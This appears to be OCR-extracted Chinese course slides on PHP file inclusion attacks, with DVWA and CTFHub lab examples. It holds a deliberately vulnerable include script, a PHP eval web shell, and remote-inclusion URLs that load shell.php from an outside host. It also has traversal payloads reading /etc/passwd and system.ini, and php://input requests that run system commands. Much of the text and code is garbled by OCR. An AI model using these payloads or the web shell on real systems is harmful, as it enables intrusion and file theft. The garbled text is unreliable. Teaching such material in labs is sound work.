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footer.php

<?php

<p>copyright © 2021-" . ("Y") . " wuya </p>";

main.php B R EE 1234 R 5 1B) A s

XD T R B F
<?php include 'footer.php';?>
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http://localhost/fileinc/include.php?file=footer.php

_GET[ "file'];

($file)){
include("$file");

}else{

file fail”;
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http://localhost/fileinc/include.php?file=shell.php

http://localhost:7298/upload-
labs/include.php?file=upload/shell.gif
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http://localhost/fileinc/include.php?file=C\Windows\
system.ini
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php.ini
allow url fopen=0n
allow url include=0On
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T.ixt

[root@ourplot wwwroot]# cat 1.txt
<?php phpinfo(); 7>

alert.html

[root@ourplot wwwroot]# cat alert.html
<script=alert("wuya")</script>

vim shell.php

<?php
header("Content-type:text/html; charset=gh1232");
echo "<pre>";
@eval($_POST[ 'wuya']);

http://localhost/fileinc/include.php?file=http://ifEIP/1.txt
http://localhost/fileinc/include.php?file=http://if¥EIP/alert.ntml
http://localhost/fileinc/include.php?file=http://if¥EIP/shell.php



i C\VEBREUZ=/5]

CVE-2018-12613 PHPMyAdmin/B& IR 4HEE TR

CVE-2020-1938 Apache Tomcat {48

http://cve.mitre.org/cgi-
bin/cvekey.cgi?keyword=file+inclusion
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include IE9)8 &z TiEEN L

include once() |RBE—IX, FEEE2

require)  |fOinclude—#E, AT HEATSELL
fopen()  |$TFFM#EE URL
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readfile  EEUHHFHFEAFUEILE .

highlight file |BZE=—1XH4

show_source |%Fhighlight file(
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parse str(file get contents('php://input’), $ PUT);

o file:// — IBIAIAMEH RS
e http:// — i75[8] HTTP(s) pJiik
e ftp:// — 518 FTP(s) URLs
o php:// —HEAIFNEA /BT (1/0 streams)
o zlib:/| — 48R
o data:// — #UE (RFC 2397)
o glob:// — ERILECHISUFESRET
» phar:// — PHP 3%
» ssh2:// — Secure Shell 2
e rar:// —RAR
-« ogg:// — EiR
o expect:// — WA F AR

https.//www.php.net/manual/zh/wrappers.php
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http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../1.txt
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nttp://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://itEIP/1.txt
nttp://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://ixiE

P/alert.html
nttp://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://ixiE
P/shell.php
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P/alert.html
nttp://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././1.txt

HEXTERIR
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=E\dev_runApp\phps
tudy pro\WWW\dvwa\1.txt
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http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///CAWindows\s
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http://challenge-06af585d6dd7039e.sandbox.ctfhub.com:10800/

http://challenge-
06af585d6dd7039e.sandbox.ctfhub.com:10800/?file=shell.txt

AREPOSTIER, S8
ctthub=system('ls");

ctfhub=system('cat /flag");
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Request

POST
?file=php://input

<?php system('ls /*); 7>

<?php system('cat /flag 16571"); ?>

Pretty Hex \n =
POST /?file=php://input JHTTE
challenge-0URdiLoadt03s

Z Host:

-
-

4

st

Cache-Control: max-age=0
Upgrade-Insecure-Requests: |
User-Agent: Mozilla/5.0 (Wir
AppleWeb¥it/537.36 (EHTML, !
Safari/537.36

Accept:

text/html, application/®htmlA
f,image/webp,image/apng,*/*;
=p3:g=0.9%

Accept-Encoding: gzip, defl:

o Accept-Language: zh-CN, zh:qg=

L= |

%3

U Connection: close
0 Content-Length: 24

<?php system('ls /'): 7>
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POST
?file=php://input

<?php system('ls /*); 7>

<?php system('cat /flag'); 7>
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?file=content
’page=wuya.asp
’home=wuya.html|




R FHIARRE

. BIF

2 J:'fgShe” /17

3. T

S

=V

ENBIURSUS

(FUZZ)



: GRS

f

S ke
= PRI

JIT

=

=

1

._._.J_

Lk
Ak
2 MMk
~J I
P
&\ &\
1\ 2\



i 115

http://LinuxIP/include.php?file=../../../../../etcC
/passwd
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